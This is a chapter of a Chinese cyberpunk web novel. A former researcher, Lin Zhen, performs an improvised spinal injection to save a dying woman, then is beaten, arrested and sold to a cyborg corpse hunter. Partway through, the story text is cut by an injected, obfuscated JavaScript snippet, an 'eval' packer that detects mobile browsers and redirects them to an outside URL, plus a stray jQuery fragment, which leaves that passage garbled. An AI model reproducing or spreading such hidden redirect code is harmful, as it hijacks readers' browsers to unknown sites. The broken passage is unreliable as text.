林真脱下外套,换了两盆水,才把指甲缝里的血污都洗干净。
她带着桃子走进玛莎的房间。
昏暗的隔间里,玛莎直直地躺在床上。她的眼窝凹陷,嘴唇泛青,皮肤松垮地挂在骨头上。很难相信,这是一个三十出头的女人,她更像一截烧焦的柴火。
林真在床边跪下,轻轻唤了她一声。
可玛莎没有反应,她望着顶棚上深蓝色的补丁,就好像她的灵魂已经飘走了,只留下一具苍白瘦削的躯壳。
林真向桃子伸出手:
“针剂给我,你帮我把玛莎妈妈扶起来。”
桃子立刻脱掉鞋子,跪在床上,从前面拉住玛莎的双手。
另一侧,林真托着玛莎的背部,将她扶起来。
如果安恬在这里就好了。林真早就发现,安恬的力气很大,生起气来能把耗子拎起来打。但她没有时间等安恬从农场回来了。
桃子晃了一下,细瘦的胳膊微微颤抖。
“我来帮忙!”耗子从外头窜进来。他鞋子也不脱,直接踩在床上,帮桃子一起拉住了玛莎的手臂。
林真看了他一眼。
耗子冲她露出一个缺了门牙的笑容。
也行吧。林真默许了他。
她用力搓了几下手,让手指不那么冰凉。然后,她把玛莎的头发拨到胸前,从上往下摸过玛莎凸起的脊椎。她一节一节数着,直到找到腰椎间隙,用剪子轻轻剪开那里的睡裙。
在原本的世界,她是做药物研发的。她经手的实验体有小白鼠,有食蟹猴,但这是第一次,她要把所学过的知识和技术用在人身上。
她不是医生,她只是个研究员。她从来没有做过这样的事,她简直是在犯罪。
林真咬了咬牙,拔下针剂的盖子,用左手食指和中指定位,将银色的合金针对准了两指间的缝隙。
针头一点点推进,刺穿皮肉,穿过硬脊膜,进入蛛网膜下腔。
林真小心地抽动针管。几次调整之后,她终于看到了无色透明的脑脊液。
对了,就是这里了。
她屏住呼吸,慢慢推动针管。
青天蓝的药剂一点点变少。
即使在半休克的状态下,玛莎依然发出了痛苦的闷哼。
林真动了一下膝盖,把自己更稳地固定在床上。
她的身体不能抖,手也不能抖。她听到另一侧,桃子在低声重复着“抓稳了,不要动”。
最后一滴药液注入后,她缓缓拔出针头。
这时,外面突然传来了猛烈的砸门声。
耗子惊恐地往外看了一眼,“是来抓我的吗?”
”没事,不是找你们的。”林真安抚道。她拿掉枕头,双手托着玛莎的背部,将她轻轻放平在床上。
玛莎很沉,但林真的心里更加沉重。
她第一次把自己所学的东西用在人身上。
她应该犯了超过一百条安全法,但她希望玛莎能够醒来。
只要玛莎能够醒来。
“桃子,六个小时内,如果玛莎妈妈醒来,注意不要让她下床。如果她头疼,就让她侧着躺。止痛药也准备好。这里是二百三十二信用点,你拿着,止痛药没了就让铁棍出去买。”
“姐姐……”桃子的眼神慌乱。
林真拍了拍她的肩膀,“你也是姐姐了,别慌。”
她又看向耗子,“你去叫其他人进卧室,让大家都待在里面,等安恬回来。”
交代完毕后,林真走出房间。
小孩子们像是一群小鸭子,从她的身边跑过,涌进卧室里。
铁棍在卧室门口停下,看了她一眼,欲言又止。林真把柯尔特递给他,“里头没有子弹,必要的时候装个样子。”
她拍了拍铁棍的肩膀,转身走向空荡荡的厂房,走过孩子们的涂鸦画和小手工。然后,她深吸一口气,打开了大门。
门外,五六个管理人员正堵在那里。
看见林真出来,那个“赌钱输了”大哥举起电棍,朝她劈头盖脸地砸下来。
林真抬手护住头部,缩紧身体。
街对面,安恬刚从大脑农场赶回来。她看见管理人员,脚步就是一顿,低下头,不敢靠近。
“行了,收养院门口呢。”有人出声阻止,“别闹大,回头还得写报告。”
“对呀老六,还不是你自个儿菜,能被个小丫头放倒——”另一个人嘲笑道,“起来吧,小黑户,你的好日子到头了。”
“都给我闭嘴!”那个叫老六的男人仍不解气。他一把拎起林真,开始翻她的口袋。
“她偷晏少一管大脑稳定剂,五千信用点呢!”
可林真的口袋里只有一只空药盒。
老六看了一眼,随手扔在地上,揪住林真的衣领,狠狠地质问道:“药呢?”
“这儿呢。”林真举起右手。
她的手心里,碎成两截的针剂反射着阳光。
她看着街对面的安恬,微微点头,开口道:“跑太急,磕地上,摔碎了。”
老六一把抢过她手里的玻璃管,眼睛瞪圆,“草!是真货!”
他一巴掌打在林真头上,“卖了你也赔不起!”
林真摔倒在地。
她的头发披散开来,视线模糊一片。
地面上,风铃摔碎了,星星和花朵被踩碎成无数亮晶晶的碎片。
满地的碎片正发出“叮叮当当”的声音。
它们总在玛莎回家时,发出“叮叮当当”的声音。
小孩子们会像云朵一样,团团围住玛莎。他们刚学会了”世上只有妈妈好”,每天吵得像一群小鸭子。只有耗子,时不时嚎一嗓子“炸农场”,像是一个孤独悲愤的革命者。
林真慢慢抬起头。
天很蓝,阳光很好,很刺眼。
她忽然就笑出了声。
先是低低的笑,然后越来越来大声,哪怕笑到咳嗽也没让她停下来。
从那个潮湿阴冷的雨夜开始,愤怒在她胸口一寸寸地堆积。
这个荒谬的世界,用贫穷、暴力、和不公平逼迫她选择,逼迫她撒谎、偷窃、杀人,逼迫她怀疑见到的每一个人,逼迫她离过去的自已越来越远。
这个杀人的联邦。
这个操蛋的世界。
可她仍站在这里。
她做的选择,都是她的选择。她杀人,偷窃,苟且偷生。她去相信,去爱人,去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904336|176787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
救该救的人。
他们逼迫不了她。
林真一直笑出了眼泪。
管理人员用力推搡了她一下:“闭嘴,快走!”
林真抹了一把脸,从地上捡起药盒,迈开脚步。
身后,安恬大喊道:“对不起!”
林真没有回头。
她本以为管理人员会把她赶出居民区,让她在黑街自生自灭。她觉得问题不大,毕竟一回生,二回熟,三回黑街是她家。
就当是回家算了。
可半个小时后,当她被反绑着双手站在黑街边缘,看到尸体猎人张三那张脸的时候,她还是真情实意地叹了一口气。
这个联邦的下限都低到下水沟里去了!
官匪勾结!买卖人口!什么联邦,这就是金三角!
老六抓着林真的肩膀:“老样子,这个看着快成年了,一千五百点。先交钱,后拿人。”
张三飞快地扫了林真一眼,机械义眼闪了闪,把背躬得接近九十度,像上供一样,把手腕上的终端高高举起。
他的右臂换成了粗大的金属义肢,过长的义肢一直垂到膝盖,行动之间发出嗡鸣声。
“滴”
支付成功。
老六狠狠地推了林真一把,“诺,你的了,带走吧。”
张三抓住林真,还是低着头,低声下气地问道:“老爷,她这是犯了什么事呀?”
“黑户,用死人芯片,还偷窃——五千点的大脑稳定液!妈的,你把她给我细细地切!气死我了!”
林真握紧了拳头。
管理员老六拿了钱,慢悠悠地往居民区的方向走。
张三保持着低头的姿势又过了好一会儿,才站直身体。他对着老六的背影”啐”了一口,慢慢拧过脖子,盯着林真,嘴角一点点裂开。
“你是个什么东西?”
——张三还活着,指不定哪天你们俩就再续前缘了呢。
诺曼你个乌鸦嘴!
林真在心里骂了诺曼一句,一边向着墙壁缓缓后退,一边开口道:
“我不知道你在说什么……”
话音未落,张三猛地俯身,金属大手掐住她的脖子,一把将她按在墙壁上,脸上露出一个残忍的笑容:
“等我把你的脑子掏出来,就知道你是个什么玩意了。不管什么东西,活着的,都比死了的更值钱。”
林真被迫仰起头,呼吸发紧。
她神色未变,双手在背后摸索着,终于找到一个水泥凸起,将手腕上的布条绞上去。
同时,她死死盯着张三红色的机械义眼,“呵”了一声:
“怎么,搞小动作被常老七发现了,丢了一条胳膊啊?”
她的目光从那条粗大的金属手臂上扫过。
“看起来很熟悉啊,是张四的吧?把你弟弟拆了吧?卖了多少钱呀,有两千点吗?”
张三的脸色一瞬间变了。他太阳穴处的青筋突起,脸上的肌肉抽动:
“好……很好……不知死活的东西!这笔帐,我的确要和你们算一算。”
他猛地将脸凑近,腥臭的口气全喷在林真脸上,“那天晚上,和你一起的,是不是欺诈师N!快说!”